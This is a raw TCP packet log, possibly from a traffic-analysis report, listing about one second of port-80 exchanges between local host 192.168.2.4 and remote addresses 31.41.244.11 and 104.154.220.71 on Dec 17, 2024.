Dec 17, 2024 22:06:36.905483961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.905522108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.906471968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.906521082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.906662941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.906754017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.907529116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.907630920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.907681942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.908802986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.909399033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.909456015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.909676075 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.909722090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.909786940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.910162926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.910742044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.910794020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.910835981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.910923958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.911787033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.911917925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.911948919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.911983967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.912864923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.912945032 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.912960052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.913007975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.914021015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.914055109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.914071083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.914117098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.915039062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.915119886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.915184975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.915232897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.916130066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.916229963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.916292906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.917165995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.917335033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.917402029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.918229103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.918287039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.918375969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.918930054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.919300079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.919353008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.919610977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.919661045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.920345068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.920380116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.920409918 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.920423985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.921441078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.921490908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.921719074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.921766996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.922452927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.922512054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.922733068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.923336983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.923518896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.923667908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.923724890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.924582958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.924642086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.924952030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.925025940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.925662041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.925821066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.925887108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.925950050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.926769972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.926865101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.926956892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.927809000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.927973032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.928025007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.928869963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.928925037 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.928942919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.929138899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.929970980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.930027008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.930027962 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.930108070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.931061029 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.931094885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.931122065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.931133986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.006386995 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.009721994 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.068114996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.068197012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.068308115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.068404913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.068440914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.068485975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.068995953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.069047928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.069130898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.069308043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.070020914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.070066929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.070158958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.070207119 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.071096897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.071141005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.071413040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.071463108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.072146893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.072197914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.072417021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.072463989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.073259115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.073386908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.073425055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.074317932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.074374914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.074436903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.075417042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.075469017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.075536966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.076423883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.076472044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.077143908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.077542067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.077579021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.077656984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.077703953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.078605890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.078649998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.078991890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.079658985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.079706907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.079879999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.080216885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.080698967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.081080914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.081845045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.081877947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.081924915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.082001925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.082818985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.082865953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.082997084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.083039999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.083898067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.084044933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.084093094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.084973097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.085031033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.085098028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.086206913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.086265087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.086402893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.087091923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.087141991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.087716103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.087766886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.088193893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.088227987 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.088279963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.089241982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.089277983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.089327097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.090269089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.090316057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.090385914 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.091377020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.091613054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.091633081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.092405081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.092453957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.092570066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.092612982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.093517065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.093924999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.093970060 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.094610929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.094643116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.094686985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.095680952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.095729113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.096095085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.096851110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.096885920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.096903086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.096931934 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.097757101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.097865105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.097908974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.098871946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.098927021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.098975897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.099895954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.099952936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.100003958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.100426912 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.100955963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.101011992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.101202011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.101931095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.102015018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.102202892 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.102252960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.103101015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.103215933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.103265047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.104120970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.104168892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.104177952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.104412079 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.105189085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.105242014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.105659008 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.106313944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.106348991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.106358051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.106381893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.107568979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.107621908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.107671022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.108553886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.108593941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.108647108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.109497070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.109700918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.109805107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.110536098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.110763073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.110805988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.111651897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.111704111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.111753941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.112649918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.112819910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.112867117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.112945080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.113739014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.113792896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.113833904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.114800930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.115170002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.115220070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.115993023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.116031885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.116039038 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.116921902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.116967916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.117122889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.117160082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.117170095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.118009090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.118058920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.118191957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.118237972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.119074106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.119119883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.119174004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.119219065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.120178938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.120261908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.120273113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.120311022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.121260881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.121416092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.121437073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.121455908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.122258902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.122306108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.122378111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.122422934 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.123390913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.123425007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.123436928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.123469114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.210541964 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.213031054 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:37.272291899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.272384882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.272455931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.272788048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.272835970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.272839069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.273092985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.273921013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.273972034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.274032116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.274087906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.274951935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.275002956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.275125027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.275178909 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.276040077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.276190042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.276240110 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.277095079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.277129889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.277179956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.278129101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.278178930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.278315067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.279222965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.279280901 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.279494047 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.280325890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.280385971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.280426979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.280471087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.281411886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.281464100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.281522036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.282491922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.282526970 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.282555103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.282602072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.283571005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.283606052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.283657074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.284522057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.284924030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.284935951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.285602093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.285650015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.285774946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.286736965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.286772966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.286784887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.286815882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.287749052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.287940025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.287991047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.288790941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.288841963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.289091110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.289146900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.289923906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.289959908 CET	80	49825	31.41.244.11	192.168.2.4
